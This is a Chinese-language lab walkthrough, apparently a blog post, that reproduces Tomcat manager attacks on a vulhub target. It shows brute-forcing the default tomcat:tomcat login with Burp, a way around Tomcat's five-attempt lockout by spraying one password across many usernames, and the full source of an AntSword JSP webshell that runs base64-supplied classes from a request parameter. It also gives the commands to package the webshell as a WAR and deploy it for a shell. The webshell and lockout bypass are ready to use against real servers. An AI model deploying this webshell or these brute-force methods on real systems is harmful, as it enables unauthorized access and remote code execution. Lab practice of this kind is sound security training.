1.环境搭建
- 靶机:Ubuntu 安装参考:安装Ubuntu详细教程_乌班图安装教程-CSDN博客
vulhub docker搭建tomcat漏洞环境
参考:vulhub docker靶场搭建-CSDN博客
- 工具:burpsuite
2.漏洞复现
2.1弱口令爆破
- 进入http://192.168.143.16:8080/(此处为自己靶机IP)
打开tomcat管理页面http://your-ip:8080/manager/html,输入弱密码tomcat:tomcat,即可访问后台:
然后使用burp抓包,发送到intruder模块进行爆破
爆破成功,输入正确密码进入后台
上传war包即可直接getshell。
注意:在实际测试中,tomcat6/7/8+会针对登陆次数过多的用户进行锁定,经过统计分析,当登录错误>5次后,就会锁定用户。这时候我们就要考虑如何绕过。
CSDN上有个脚本利用的是占满tomcat缓存的方式绕过,当同一账号大于5次登录,就会采用脏数据去进行登录,直到缓存占满后,又会用剩下的可能存在的username进行登录。直到找到password为止。
tomcat暴破图形化—绕过tomcat 6/7/8的防暴破机制https://download.csdn.net/download/lwhat007/10164298
这里我们采用针对同一弱口令去爆破不同账号的方式进行猜解,将可能存在的username放入position1的位置,其次放置password在position3的位置,最后attack时爆破的顺序如下图,就不会针对同一账号锁定。这样做的好处在于我们针对同一个口令去爆破大量用户时,由于用户不同,不会被锁定,同时由于第二次使用这个账户爆破其他口令时,tomcat的缓存有很大几率被占满,就不会导致锁定。
2.2上传war包getshell
使用中国蚁剑生成一个 jsp马,将其单独放置于一个目录下,进入该目录
vim shell.jsp
密码:ant
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("ant");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
将 shell.jsp 马打包成 war 包
jar -cvf login.war shell.jsp
或者使用 zip 压缩成 war 包
zip shell.war shell.jsp
进入登录界面,部署上传
链接的地址是 /zip文件的前缀/文件名,比如我这里就是http://IP/shell/shell.jsp
然后用蚁剑连接
此时已经成功get shell。